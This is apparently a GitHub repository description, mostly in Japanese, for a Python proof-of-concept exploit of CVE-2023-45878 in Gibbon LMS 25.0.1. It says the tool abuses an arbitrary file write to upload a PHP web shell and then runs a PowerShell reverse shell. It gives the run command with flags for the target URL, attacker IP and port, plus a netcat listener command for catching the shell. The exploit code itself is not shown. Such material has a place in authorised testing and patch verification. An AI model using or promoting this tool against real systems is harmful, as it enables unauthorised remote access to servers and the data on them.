dgoorden/cve-2023-45878Pythonエクスプロイト for CVE-2023-45878 targeting Gibbon LMS 25.0.1。任意ファイル書き込みを利用してPHPウェブシェルをアップロードし、リモートアクセス用にPowerShellリバースシェルを実行します。
本スクリプトは、https://herolab.usd.de/security-advisories/usd-2023-0025/ の研究成果に基づいて作成しました。このエクスプロイトは、Gibbon LMS 25.0.1 の任意ファイル書き込み（Arbitrary File Write）の脆弱性を利用して動作します。このPoCは、シンプルなPHPコマンドスクリプトをアップロードし、それを用いてPowerShellリバースシェルを読み込みます。
python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf
フラグ:
-u, URL where Gibbon LMS is installed.
-l, your IP
-p, your open port
-f, filename. Important if you need to manually test. Default is "asdf".
受信シェル用のリスナーを準備しておいてください。
nc -lvnp 8888